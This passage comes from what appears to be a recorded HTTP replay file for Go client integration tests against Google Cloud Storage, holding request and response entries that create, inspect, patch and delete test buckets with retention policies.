LmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBPYmplY3QgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdCcgaXMgc3ViamVjdCB0byBidWNrZXQncyByZXRlbnRpb24gcG9saWN5IGFuZCBjYW5ub3QgYmUgZGVsZXRlZCwgb3ZlcndyaXR0ZW4gb3IgYXJjaGl2ZWQgdW50aWwgMjAxOS0wNS0wM1QxNjoyNTo1OS45NTIyMDg0MjgtMDc6MDBcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDAzLCJtZXNzYWdlIjoiT2JqZWN0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvc29tZS1vYmplY3QnIGlzIHN1YmplY3QgdG8gYnVja2V0J3MgcmV0ZW50aW9uIHBvbGljeSBhbmQgY2Fubm90IGJlIGRlbGV0ZWQsIG92ZXJ3cml0dGVuIG9yIGFyY2hpdmVkIHVudGlsIDIwMTktMDUtMDNUMTY6MjU6NTkuOTUyMjA4NDI4LTA3OjAwIn19" - } - }, - { - "ID": "5a7a0988789dfb17", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0016?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "25" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJyZXRlbnRpb25Qb2xpY3kiOm51bGx9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:00 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrZIBPbBTYIUYYaBFrcXzNnp7uuC8DoPry45bX57PyfL7aM5a83NLxYnvWsXD62w3LrRVksNhJbrLnSL5e8ZS6b0Cto8ufh-V00gNrGI-CaTc4achc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU5LjM2NFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjowMC43NTZaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "8410bda61aa0b6fd", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0016/o/some-object?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:01 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo2MOVFr2ZwvkwYm32qtqndRBhJnBc28nVBEBowKjIIxpOxiYcSef4wtz9sLTJ23PbXr1F8L_TfGwyShv5j1eTsQ-91OXU8Q8JEZtui9VVyK96j2D4" - ] - }, - "Body": "" - } - }, - { - "ID": "7b024f33e16d850f", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0016?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:01 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpDkcsqcqPLSySgf13o9jWNafbKdVjSRqGNu3ZedvF7TlL9TBswdMMpcl0zQOHtvXWIrhrcZODr7RjRhHuvS8gJdMbnYeQDHrBCbiH6x9WrnaZ5uIQ" - ] - }, - "Body": "" - } - }, - { - "ID": "33b0efc1b91cfb42", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "106" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjkwMDAwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "574" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:02 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpItvsNld0b1FGsjQgaVCDxW22UEra8vRGfkWtbDS7R2kMbHRPr0I6iPjzaQBOaa9-xUJxGO-JV6RhMlWwH2NY-FXY2-0lrkZiAzIL-tdFwkCwlF-Q" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjAxLjkwOFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjowMS45MDhaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiOTAwMDAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNjowMS45MDhaIn0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "632b9a0387d9cff1", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0017?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2520" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:02 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:02 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpEVtrO8ed8TEHdpzyw857ZykloGKTT56atylmGnu682Y0VxI_T6SWN0JLFupJ_2Cu80ntiZttFSCBqwqFGfxVrRqsNnf0KBDyzqOH8eI-BaWPBXvE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjAxLjkwOFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjowMS45MDhaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiI5MDAwMCIsImVmZmVjdGl2ZVRpbWUiOiIyMDE5LTA1LTAyVDIyOjI2OjAxLjkwOFoifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FFPSJ9" - } - }, - { - "ID": "a32a5924f876577b", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0017/lockRetentionPolicy?alt=json\u0026ifMetagenerationMatch=1\u0026prettyPrint=false", - 